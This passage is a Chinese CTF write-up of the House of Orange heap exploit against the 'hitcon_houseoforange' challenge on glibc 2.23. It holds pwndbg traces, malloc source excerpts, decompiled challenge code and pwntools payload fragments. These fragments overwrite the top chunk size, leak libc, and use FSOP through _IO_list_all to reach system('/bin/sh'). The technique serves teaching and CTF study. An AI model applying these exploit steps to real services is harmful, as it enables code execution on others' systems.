)变成&old_top_chunk
前面通过溢出
将位于unsorted bin中的chunk(old top chunk的部分)的size修改为0x61。那么在这一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc进入大循环,把unsorted bin中的chunk插入到对应的small bin或large bin中。第7步是将old_top_chunk从unsortedbin脱下来,接下来就是将其插入0x60大小的smallbin中了。同时,该small bin的fd和bk都会变为此chunk的地址。
大循环里将从unsortedbin脱下来的chunk插入smallbin的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
/
*
remove
from
unsorted
list
*
/
unsorted_chunks (av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks (av);
/
*
Take now instead of binning
if
exact fit
*
/
if
(size
=
=
nb)
/
/
和申请的大小不匹配,不走进去
{
......
}
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
/
/
走这
{
victim_index
=
smallbin_index (size);
bck
=
bin_at (av, victim_index);
/
/
bck指向对应index的smallbin的prev_size
fwd
=
bck
-
>fd;
/
/
若smallbin里没有chunk,则其fd和bk都是指向其prev_size的,看下面调试
}
else
{
......
}
mark_bin (av, victim_index);
/
/
然后走这
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
|
接着步骤7,单步调试,走到mark_bin (av, victim_index);
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
pwndbg> p victim
# victim 还是old_top_chunk
$
37
=
(mchunkptr)
0x602400
pwndbg> p fwd
# 若smallbin里没有chunk,则其fd和bk都是指向其prev_size的
$
38
=
(mchunkptr)
0x7ffff7dd1bc8
<main_arena
+
168
>
pwndbg> p bck
# bck指向对应index的smallbin的prev_size,看下面,和unsortedbin的偏移是0x50,
$
39
=
(mchunkptr)
0x7ffff7dd1bc8
<main_arena
+
168
>
pwndbg> p victim_index
$
40
=
6
pwndbg> p (char
*
)&main_arena
+
88
# unsortedbin地址
$
41
=
0x7ffff7dd1b78
<main_arena
+
88
>
"\020@b"
pwndbg> p
/
x
0x7ffff7dd1bc8
-
0x7ffff7dd1b78
# bck和它的偏移是0x50
$
42
=
0x50
pwndbg> x
/
20gx
0x7ffff7dd1b78
0x7ffff7dd1b78
<main_arena
+
88
>:
0x0000000000624010
0x0000000000000000
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000602400
0x00007ffff7dd2510
<
-
-
smallbin[
0x20
]
0x7ffff7dd1b98
<main_arena
+
120
>:
0x00007ffff7dd1b88
0x00007ffff7dd1b88
<
-
-
smallbin[
0x30
]
0x7ffff7dd1ba8
<main_arena
+
136
>:
0x00007ffff7dd1b98
0x00007ffff7dd1b98
<
-
-
smallbin[
0x40
]
0x7ffff7dd1bb8
<main_arena
+
152
>:
0x00007ffff7dd1ba8
0x00007ffff7dd1ba8
<
-
-
smallbin[
0x50
]
0x7ffff7dd1bc8
<main_arena
+
168
>:
0x00007ffff7dd1bb8
0x00007ffff7dd1bb8
<
-
-
smallbin[
0x60
]
0x7ffff7dd1bd8
<main_arena
+
184
>:
0x00007ffff7dd1bc8
0x00007ffff7dd1bc8
<
-
-
smallbin[
0x60
]的fd和bk
0x7ffff7dd1be8
<main_arena
+
200
>:
0x00007ffff7dd1bd8
0x00007ffff7dd1bd8
0x7ffff7dd1bf8
<main_arena
+
216
>:
0x00007ffff7dd1be8
0x00007ffff7dd1be8
0x7ffff7dd1c08
<main_arena
+
232
>:
0x00007ffff7dd1bf8
0x00007ffff7dd1bf8
|
继续单步调试,走完bck->fd = victim;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
pwndbg> p fwd
-
>bk
$
43
=
(struct malloc_chunk
*
)
0x602400
# 可以看到smallbin[0x60]的bk已经改成old_top_chunk
pwndbg> p bck
-
>fd
$
44
=
(struct malloc_chunk
*
)
0x602400
# 可以看到smallbin[0x60]的fd已经改成old_top_chunk
pwndbg> x
/
20gx
0x7ffff7dd1b78
0x7ffff7dd1b78
<main_arena
+
88
>:
0x0000000000624010
0x0000000000000000
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000602400
0x00007ffff7dd2510
0x7ffff7dd1b98
<main_arena
+
120
>:
0x00007ffff7dd1b88
0x00007ffff7dd1b88
0x7ffff7dd1ba8
<main_arena
+
136
>:
0x00007ffff7dd1b98
0x00007ffff7dd1b98
0x7ffff7dd1bb8
<main_arena
+
152
>:
0x00007ffff7dd1ba8
0x00007ffff7dd1ba8
0x7ffff7dd1bc8
<main_arena
+
168
>:
0x00007ffff7dd1bb8
0x00007ffff7dd1bb8
0x7ffff7dd1bd8
<main_arena
+
184
>:
0x0000000000602400
0x0000000000602400
#可看到smallbin[0x60]的fd/bk已被修改为old_top_chunk
0x7ffff7dd1be8
<main_arena
+
200
>:
0x00007ffff7dd1bd8
0x00007ffff7dd1bd8
0x7ffff7dd1bf8
<main_arena
+
216
>:
0x00007ffff7dd1be8
0x00007ffff7dd1be8
0x7ffff7dd1c08
<main_arena
+
232
>:
0x00007ffff7dd1bf8
0x00007ffff7dd1bf8
pwndbg> p victim
-
>bk
$
45
=
(struct malloc_chunk
*
)
0x7ffff7dd1bc8
<main_arena
+
168
>
pwndbg> p victim
-
>fd
$
46
=
(struct malloc_chunk
*
)
0x7ffff7dd1bc8
<main_arena
+
168
>
pwndbg> p
*
((struct _IO_FILE_plus
*
)
0x7ffff7dd1b78
)
$
47
=
{
file
=
{
_flags
=
6438928
,
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x602400
"/bin/sh"
,
_IO_read_base
=
0x7ffff7dd2510
"",
_IO_write_base
=
0x7ffff7dd1b88
<main_arena
+
104
> "",
_IO_write_ptr
=
0x7ffff7dd1b88
<main_arena
+
104
> "",
_IO_write_end
=
0x7ffff7dd1b98
<main_arena
+
120
>
"\210\033\335\367\377\177"
,
_IO_buf_base
=
0x7ffff7dd1b98
<main_arena
+
120
>
"\210\033\335\367\377\177"
,
_IO_buf_end
=
0x7ffff7dd1ba8
<main_arena
+
136
>
"\230\033\335\367\377\177"
,
_IO_save_base
=
0x7ffff7dd1ba8
<main_arena
+
136
>
"\230\033\335\367\377\177"
,
_IO_backup_base
=
0x7ffff7dd1bb8
<main_arena
+
152
>
"\250\033\335\367\377\177"
,
_IO_save_end
=
0x7ffff7dd1bb8
<main_arena
+
152
>
"\250\033\335\367\377\177"
,
_markers
=
0x602400
,
#可看到smallbin[0x60]的fd/bk对应FILE结构体里的_markers和_chain
_chain
=
0x602400
,
# _chain已被修改为old_top_chunk
_fileno
=
-
136504360
,
_flags2
=
32767
,
_old_offset
=
140737351850968
,
_cur_column
=
7144
,
_vtable_offset
=
-
35
'\335'
,
_shortbuf
=
<incomplete sequence \
367
>,
_lock
=
0x7ffff7dd1be8
<main_arena
+
200
>,
_offset
=
140737351851000
,
_codecvt
=
0x7ffff7dd1bf8
<main_arena
+
216
>,
_wide_data
=
0x7ffff7dd1c08
<main_arena
+
232
>,
_freeres_list
=
0x7ffff7dd1c08
<main_arena
+
232
>,
_freeres_buf
=
0x7ffff7dd1c18
<main_arena
+
248
>,
__pad5
=
140737351851032
,
_mode
=
-
136504280
,
_unused2
=
"\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
},
vtable
=
0x7ffff7dd1c38
<main_arena
+
280
>
}
pwndbg>
bin
fastbins
0x20
:
0x0
0x30
:
0x0
0x40
:
0x0
0x50
:
0x0
0x60
:
0x0
0x70
:
0x0
0x80
:
0x0
unsortedbin
all
[corrupted]
FD:
0x602400
—▸
0x7ffff7dd1bc8
(main_arena
+
168
) ◂—
0x602400
BK:
0x7ffff7dd2510
◂—
0x0
smallbins
0x60
:
0x602400
—▸
0x7ffff7dd1bc8
(main_arena
+
168
) ◂—
0x602400
largebins
empty
|
此时,IO_list_all
、IO_FILE(main_arena+88)
、IO_FILE(old_top_chunk)
三者已经链接起来了,接下来就只需要触发_IO_flush_all_lockp
-> __overflow
就可以了。
9.触发_IO_flush_all_lockp
for循环结束一次,接着进行第二次循环。由于unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被劫持流程,执行到winner,然后由winner执行system函数:
1
2
3
4
5
6
7
8
9
10
|
for
(;; )
{
int
iters
=
0
;
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
{
bck
=
victim
-
>bk;
if
(__builtin_expect (victim
-
>size <
=
2
*
SIZE_SZ,
0
)
|| __builtin_expect (victim
-
>size > av
-
>system_mem,
0
))
malloc_printerr (check_action,
"malloc(): memory corruption"
, <
-
-
这里会触发_IO_flush_all_lockp
chunk2mem (victim), av);
|
调试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
pwndbg>
3481
malloc_printerr (check_action,
"malloc(): memory corruption"
,
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
RAX
0x0
RBX
0x7ffff7dd1b20
(main_arena) ◂—
0x100000001
RCX
0x6
RDX
0x40
RDI
0x7ffff7dd1bc8
(main_arena
+
168
) —▸
0x7ffff7dd1bb8
(main_arena
+
152
) —▸
0x7ffff7dd1ba8
(main_arena
+
136
) —▸
0x7ffff7dd1b98
(main_arena
+
120
) —▸
0x7ffff7dd1b88
(main_arena
+
104
) ◂— ...
RSI
0x0
R8
0x7ffff7dd1bc8
(main_arena
+
168
) —▸
0x7ffff7dd1bb8
(main_arena
+
152
) —▸
0x7ffff7dd1ba8
(main_arena
+
136
) —▸
0x7ffff7dd1b98
(main_arena
+
120
) —▸
0x7ffff7dd1b88
(main_arena
+
104
) ◂— ...
R9
0x0
R10
0x46c
R11
0x7ffff7b5afa0
(__memcpy_avx_unaligned) ◂— mov rax, rdi
R12
0x270f
R13
0x7ffff7dd1b78
(main_arena
+
88
) —▸
0x624010
◂—
0x0
R14
0x7ffff7dd2510
◂—
0x0
R15
0x0
RBP
0x20
RSP
0x7fffffffdb60
◂—
0x7fff00000002
*
RIP
0x7ffff7a8ef60
(_int_malloc
+
976
) ◂— mov r10d, dword ptr [rip
+
0x3421e9
]
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
►
0x7ffff7a8ef60
<_int_malloc
+
976
> mov r10d, dword ptr [rip
+
0x3421e9
] <
0x7ffff7dd1150
>
0x7ffff7a8ef67
<_int_malloc
+
983
>
or
dword ptr [rbx
+
4
],
4
0x7ffff7a8ef6b
<_int_malloc
+
987
> mov eax, r10d
0x7ffff7a8ef6e
<_int_malloc
+
990
>
and
eax,
5
0x7ffff7a8ef71
<_int_malloc
+
993
>
cmp
eax,
5
0x7ffff7a8ef74
<_int_malloc
+
996
> je _int_malloc
+
2173
<_int_malloc
+
2173
>
0x7ffff7a8ef7a
<_int_malloc
+
1002
> test r10b,
1
0x7ffff7a8ef7e
<_int_malloc
+
1006
> jne _int_malloc
+
1312
<_int_malloc
+
1312
>
↓
0x7ffff7a8f0b0
<_int_malloc
+
1312
> mov rax, qword ptr [rsp
+
0x10
]
0x7ffff7a8f0b5
<_int_malloc
+
1317
> lea rdi, [r14
+
0x10
]
0x7ffff7a8f0b9
<_int_malloc
+
1321
> xor ecx, ecx
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In
file
:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc
/
malloc.c
3476
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
3477
{
3478
bck
=
victim
-
>bk;
3479
if
(__builtin_expect (victim
-
>size <
=
2
*
SIZE_SZ,
0
)
3480
|| __builtin_expect (victim
-
>size > av
-
>system_mem,
0
))
►
3481
malloc_printerr (check_action,
"malloc(): memory corruption"
,
3482
chunk2mem (victim), av);
3483
size
=
chunksize (victim);
3484
3485
/
*
3486
If a small request,
try
to use last remainder
if
it
is
the
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00
:
0000
│ rsp
0x7fffffffdb60
◂—
0x7fff00000002
01
:
0008
│
0x7fffffffdb68
◂—
0xa
/
*
'\n'
*
/
02
:
0010
│
0x7fffffffdb70
—▸
0x7fffffffdbe0
◂—
0x0
03
:
0018
│
0x7fffffffdb78
—▸
0x7ffff7b5048b
(_dl_addr
+
443
) ◂— add rsp,
0x28
04
:
0020
│
0x7fffffffdb80
◂—
0x0
05
:
0028
│
0x7fffffffdb88
—▸
0x7fffffffdbe8
—▸
0x7ffff7fd9000
—▸
0x7ffff7a0d000
◂— jg
0x7ffff7a0d047
06
:
0030
│
0x7fffffffdb90
◂—
0xffff800000002421
/
*
'!$'
*
/
07
:
0038
│
0x7fffffffdb98
—▸
0x7fffffffdbdf
◂—
0x0
────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
► f
0
7ffff7a8ef60
_int_malloc
+
976
f
1
7ffff7a911d4
malloc
+
84
f
2
4006cc
main
+
246
f
3
7ffff7a2d840
__libc_start_main
+
240
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x
/
4gx
(char
*
)&main_arena
+
88
# 打印main_arena+88的情况,查看victim
0x7ffff7dd1b78
<main_arena
+
88
>:
0x0000000000624010
0x0000000000000000
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000602400
0x00007ffff7dd2510
<
-
-
0x00007ffff7dd2510
就是victim
# unsortedbin attack的时候将_IO_list_all-0x10给了unsortedbin->bk,所以victim就是_IO_list_all-0x10
pwndbg> x
/
4gx
(char
*
)&_IO_list_all
-
0x10
0x7ffff7dd2510
:
0x0000000000000000
0x0000000000000000
# victim的size为0,触发异常
0x7ffff7dd2520
<_IO_list_all>:
0x00007ffff7dd1b78
0x0000000000000000
|
victim
的size为0,不满足要求,触发异常,调用malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
, 从而调用_IO_flush_all_lockp,进而fsop攻击成功。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
house_of_orange$ checksec hitcon_houseoforange
[
*
]
'/home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange'
Arch: amd64
-
64
-
little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
lzx@ubuntu16x64:~
/
pwn
/
heap
/
IO_FILE
/
house_of_orange$ .
/
hitcon_houseoforange
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@ House of Orange @
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
1.
Build the house
2.
See the house
3.
Upgrade the house
4.
Give up
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Your choice :
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
void __fastcall __noreturn main(__int64 a1, char
*
*
a2, char
*
*
a3)
{
signed
int
v3;
/
/
eax
sub_1218();
while
(
1
)
{
while
(
1
)
{
menu();
v3
=
input_number();
if
( v3 !
=
2
)
break
;
see_house();
/
/
2
-
see the house
}
if
( v3 >
2
)
{
if
( v3
=
=
3
)
{
upgrade_house();
/
/
3
-
upgrade the house
}
else
{
if
( v3
=
=
4
)
{
puts(
"give up"
);
/
/
4
-
exit
exit(
0
);
}
LABEL_14:
puts(
"Invalid choice"
);
}
}
else
{
if
( v3 !
=
1
)
goto LABEL_14;
build_house();
/
/
1
-
build the house
}
}
}
|
1
2
3
4
5
6
7
8
9
|
__int64 input_number()
{
char nptr;
/
/
[rsp
+
10h
] [rbp
-
20h
]
unsigned __int64 v2;
/
/
[rsp
+
28h
] [rbp
-
8h
]
v2
=
__readfsqword(
0x28u
);
_read_chk(
0LL
, &nptr,
15LL
,
16LL
);
return
(unsigned
int
)atoi(&nptr);
/
/
返回一个unsigned
int
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
int
sub_D37()
{
unsigned
int
house_name_len;
/
/
[rsp
+
8h
] [rbp
-
18h
]
signed
int
color_of_orange;
/
/
[rsp
+
Ch] [rbp
-
14h
]
void
*
house;
/
/
[rsp
+
10h
] [rbp
-
10h
]
_DWORD
*
orange;
/
/
[rsp
+
18h
] [rbp
-
8h
]
if
( house_cnt >
3u
)
/
/
只能 build
4
次
{
puts(
"Too many house"
);
exit(
1
);
}
house
=
malloc(
0x10uLL
);
/
/
0x20
大小的house chunk
printf(
"Length of name :"
);
house_name_len
=
input_number();
if
( house_name_len >
0x1000
)
house_name_len
=
4096
;
*
((_QWORD
*
)house
+
1
)
=
malloc(house_name_len);
/
/
house[
1
]存储house_name_chunk
if
( !
*
((_QWORD
*
)house
+
1
) )
{
puts(
"Malloc error !!!"
);
exit(
1
);
}
printf(
"Name :"
);
input_string(
*
((void
*
*
)house
+
1
), house_name_len);
/
/
往house_name_chunk输入house name
orange
=
calloc(
1uLL
,
8uLL
);
printf(
"Price of Orange:"
,
8LL
);
*
orange
=
input_number();
/
/
orange[
0
]存储price
color_menu();
printf(
"Color of Orange:"
);
color_of_orange
=
input_number();
if
( color_of_orange !
=
56746
&& (color_of_orange <
=
0
|| color_of_orange >
7
) )
{
puts(
"No such color"
);
exit(
1
);
}
if
( color_of_orange
=
=
56746
)
/
/
orange[
1
]存储
56746
/
color
+
30
orange[
1
]
=
56746
;
else
orange[
1
]
=
color_of_orange
+
30
;
*
(_QWORD
*
)house
=
orange;
/
/
house[
0
]存储orange_chunk
global_house
=
house;
/
/
全局变量global_house存储的是最新的house chunk
+
+
house_cnt;
/
/
计数加
1
return
puts(
"Finish"
);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
ssize_t __fastcall input_string(void
*
a1, unsigned
int
a2)
{
ssize_t result;
/
/
rax
result
=
read(
0
, a1, a2);
/
/
没有NULL结尾处理,可能存在信息泄露漏洞!!!
if
( (signed
int
)result <
=
0
)
{
puts(
"read error"
);
exit(
1
);
}
return
result;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
int
see_house()
{
int
v0;
/
/
eax
int
result;
/
/
eax
int
v2;
/
/
eax
if
( !global_house )
return
puts(
"No such house !"
);
if
(
*
(_DWORD
*
)(
*
global_house
+
4LL
)
=
=
56746
)
{
printf(
"Name of house : %s\n"
, global_house[
1
]);
printf(
"Price of orange : %d\n"
,
*
(unsigned
int
*
)
*
global_house);
v0
=
rand();
result
=
printf(
"\x1B[01;38;5;214m%s\x1B[0m\n"
, qword_203080[v0
%
8
]);
}
else
{
if
(
*
(_DWORD
*
)(
*
global_house
+
4LL
) <
=
30
||
*
(_DWORD
*
)(
*
global_house
+
4LL
) >
37
)
{
puts(
"Color corruption!"
);
exit(
1
);
}
printf(
"Name of house : %s\n"
, global_house[
1
]);
printf(
"Price of orange : %d\n"
,
*
(unsigned
int
*
)
*
global_house);
v2
=
rand();
result
=
printf(
"\x1B[%dm%s\x1B[0m\n"
,
*
(unsigned
int
*
)(
*
global_house
+
4LL
), qword_203080[v2
%
8
]);
}
return
result;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
int
upgrade_house()
{
_DWORD
*
v1;
/
/
rbx
unsigned
int
v2;
/
/
[rsp
+
8h
] [rbp
-
18h
]
signed
int
v3;
/
/
[rsp
+
Ch] [rbp
-
14h
]
if
( upgrade_cnt >
2u
)
/
/
最多只能更新
3
次
return
puts(
"You can't upgrade more"
);
if
( !global_house )
return
puts(
"No such house !"
);
printf(
"Length of name :"
);
v2
=
input_number();
if
( v2 >
0x1000
)
v2
=
4096
;
printf(
"Name:"
);
input_string((void
*
)global_house[
1
], v2);
/
/
直接在原house_name_chunk上输入数据,且长度没有限制,存在堆溢出漏洞
printf(
"Price of Orange: "
, v2);
v1
=
(_DWORD
*
)
*
global_house;
*
v1
=
input_number();
/
/
修改orange的price
color_menu();
printf(
"Color of Orange: "
);
v3
=
input_number();
if
( v3 !
=
56746
&& (v3 <
=
0
|| v3 >
7
) )
{
puts(
"No such color"
);
exit(
1
);
}
if
( v3
=
=
56746
)
/
/
修改orange的color
*
(_DWORD
*
)(
*
global_house
+
4LL
)
=
56746
;
else
*
(_DWORD
*
)(
*
global_house
+
4LL
)
=
v3
+
30
;
+
+
upgrade_cnt;
/
/
更新次数
+
1
return
puts(
"Finish"
);
}
|
IO_list_all
的内容(满足)IO_FILE
和vtable
(满足)_IO_list_all
的地址(满足)
_IO_list_all
的地址1.溢出修改top chunk的size
1
2
3
4
5
6
7
8
|
# overwrite the size of top
build(
0x10
,b
'a'
*
8
)
# house_chunk, name_chunk,orange_chunk
#dbg()
payload
=
b
'b'
*
0x10
# content(name_chunk): 0x10
payload
+
=
p64(
0
)
+
p64(
0x21
)
+
p32(
0xdeadbeef
)
+
p32(
0xddaa
)
+
p64(
0
)
# content(name_chunk) + orange_chunk: 0x10+0x20 = 0x30
payload
+
=
p64(
0
)
+
p64(
0xfa1
)
# content(name_chunk) + orange_chunk + head(topchunk) 0x10+0x20+0x10 = 0x40
upgrade(
0x41
,payload)
dbg()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
pwndbg> heap
Allocated chunk | PREV_INUSE
# house1
Addr:
0x5615bc55b000
Size:
0x21
Allocated chunk | PREV_INUSE
# name1
Addr:
0x5615bc55b020
Size:
0x21
Allocated chunk | PREV_INUSE
# orange1
Addr:
0x5615bc55b040
Size:
0x21
Top chunk | PREV_INUSE
# old top chunk
Addr:
0x5615bc55b060
Size:
0xfa1
pwndbg> x
/
20gx
0x5615bc55b000
0x5615bc55b000
:
0x0000000000000000
0x0000000000000021
0x5615bc55b010
:
0x00005615bc55b050
0x00005615bc55b030
0x5615bc55b020
:
0x0000000000000000
0x0000000000000021
0x5615bc55b030
:
0x6262626262626262
0x6262626262626262
0x5615bc55b040
:
0x0000000000000000
0x0000000000000021
0x5615bc55b050
:
0x0000ddaadeadbeef
0x0000000000000000
0x5615bc55b060
:
0x0000000000000000
0x0000000000000fa1
<
-
-
top chunk的size被修改
0x5615bc55b070
:
0x000000000000000a
0x0000000000000000
0x5615bc55b080
:
0x0000000000000000
0x0000000000000000
0x5615bc55b090
:
0x0000000000000000
0x0000000000000000
|
2.malloc一个更大的name chunk时,将top chunk释放到unsortedbin中
1
|
build(
0x1000
,b
'c'
*
8
)
# trigger the _int_free in sysmalloc, old top chunk -> unsortedbin
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
pwndbg> heap
Allocated chunk | PREV_INUSE
# house1
Addr:
0x5606daf31000
Size:
0x21
Allocated chunk | PREV_INUSE
# name1
Addr:
0x5606daf31020
Size:
0x21
Allocated chunk | PREV_INUSE
# orange1
Addr:
0x5606daf31040
Size:
0x21
Allocated chunk | PREV_INUSE
# house2
Addr:
0x5606daf31060
Size:
0x21
Allocated chunk | PREV_INUSE
# orange2
Addr:
0x5606daf31080
Size:
0x21
Free chunk (unsortedbin) | PREV_INUSE
# old top chunk
Addr:
0x5606daf310a0
Size:
0xf41
fd:
0x7f41332deb78
bk:
0x7f41332deb78
Allocated chunk
Addr:
0x5606daf31fe0
Size:
0x10
Allocated chunk | PREV_INUSE
Addr:
0x5606daf31ff0
Size:
0x11
Allocated chunk
Addr:
0x5606daf32000
Size:
0x00
pwndbg> x
/
12gx
0x5606daf31060
0x5606daf31060
:
0x0000000000000000
0x0000000000000021
# house2
0x5606daf31070
:
0x00005606daf31090
0x00005606daf52010
# house2里存储着orange2和name2的mem指针
0x5606daf31080
:
0x0000000000000000
0x0000000000000021
# orange2
0x5606daf31090
:
0x0000ddaadeadbeef
0x0000000000000000
0x5606daf310a0
:
0x0000000000000000
0x0000000000000f41
# old top chunk
0x5606daf310b0
:
0x00007f41332deb78
0x00007f41332deb78
pwndbg> x
/
4gx
0x5606daf31000
+
0x21000
0x5606daf52000
:
0x0000000000000000
0x0000000000001011
# name2
0x5606daf52010
:
0x6363636363636363
0x000000000000000a
|
总结一下此时heap的变化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
/
/
溢出修改topchunk的size之后heap的情况
| house1 |name1 |orange1 | ...........................old top chunk...........................| .. |
/
/
build(
0x1000
,b
'c'
*
8
)
-
分配house2
| house1 |name1 |orange1 | house2 |...................old top chunk...........................| .. |
/
/
build(
0x1000
,b
'c'
*
8
)
-
分配name2
| house1 |name1 |orange1 | house2 |...................old top chunk (free)....................| .. | name2 |new top chunk|
/
/
build(
0x1000
,b
'c'
*
8
)
-
分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)
| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk|
/
/
此时old top chunk的fd和bk是 main_arena
+
88
,fd被覆盖成了price和color的值
/
/
这样是无法泄露main_arena的,所以需要继续切割old top chunk
|
3.再build一个house,泄露出_IO_list_all
的地址:
_IO_list_all
/system等的地址。
1
2
3
4
5
6
7
8
9
10
11
|
build(
0x400
,b
'd'
*
7
)
# leak the address io_list_all (0x400 -> largebin chunk -> leak fd_nextsize later)
see()
ru(
'ddddddd\n'
)
libc_addr
=
u64(r(
6
).ljust(
8
,
"\x00"
))
-
0x3c5188
libc.address
=
libc_addr
io_list_all_addr
=
libc.sym[
'_IO_list_all'
]
system_addr
=
libc.sym[
'system'
]
leak(
'addr(_IO_list_all)'
,io_list_all_addr)
leak(
'addr(libc_base)'
,libc_addr)
leak(
'addr(system)'
,system_addr)
dbg()
|
当分配name3的时候,若申请的大小为largebin范围,由于old top chunk属于largebin范围,所以会先将其插入到largebin中,如下代码所示:
fd_nextsize
和bk_nextsize
指向本身(切割后要变成name3)bk
/fd_nexesize
和bk_nextsize
,然后在后面泄露出来。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
for
(;; )
{
int
iters
=
0
;
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
/
/
victim 是 old top chunk
{
bck
=
victim
-
>bk;
if
(__builtin_expect (victim
-
>size <
=
2
*
SIZE_SZ,
0
)
|| __builtin_expect (victim
-
>size > av
-
>system_mem,
0
))
malloc_printerr (check_action,
"malloc(): memory corruption"
,
chunk2mem (victim), av);
size
=
chunksize (victim);
/
/
当分配house3(
0x20
)的时候,会进入这里
if
(in_smallbin_range (nb) &&
/
/
如果要申请的chunk的size在smallbin范围内
bck
=
=
unsorted_chunks (av) &&
/
/
而且bck指向main_arena
+
96
那个“chunk”,也就是如果unsortedbin中只有一个free chunk
victim
=
=
av
-
>last_remainder &&
/
/
而且如果victim指向last_remainder
(unsigned
long
) (size) > (unsigned
long
) (nb
+
MINSIZE))
/
/
而且如果victim大小满足要申请的chunk的大小
{
/
*
split
and
reattach remainder
*
/
remainder_size
=
size
-
nb;
remainder
=
chunk_at_offset (victim, nb);
/
/
切割剩下的remainder
unsorted_chunks (av)
-
>bk
=
unsorted_chunks (av)
-
>fd
=
remainder;
av
-
>last_remainder
=
remainder;
remainder
-
>bk
=
remainder
-
>fd
=
unsorted_chunks (av);
if
(!in_smallbin_range (remainder_size))
{
remainder
-
>fd_nextsize
=
NULL;
remainder
-
>bk_nextsize
=
NULL;
}
set_head (victim, nb | PREV_INUSE |
(av !
=
&main_arena ? NON_MAIN_ARENA :
0
));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void
*
p
=
chunk2mem (victim);
alloc_perturb (p, bytes);
return
p;
}
/
*
remove
from
unsorted
list
*
/
unsorted_chunks (av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks (av);
/
*
Take now instead of binning
if
exact fit
*
/
if
(size
=
=
nb)
{
......
}
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
/
/
如果victim是smallbin范围大小,将victim插入smallbin
{
......
}
else
/
/
如果victim是largebin范围大小,将victim插入largebin,走这里
{
victim_index
=
largebin_index (size);
bck
=
bin_at (av, victim_index);
/
/
bck指向
0x400
对应的largebin
fwd
=
bck
-
>fd;
/
/
因为该
bin
之前没有chunk,所以fwd也指向
0x400
对应的largebin
/
*
maintain large bins
in
sorted
order
*
/
if
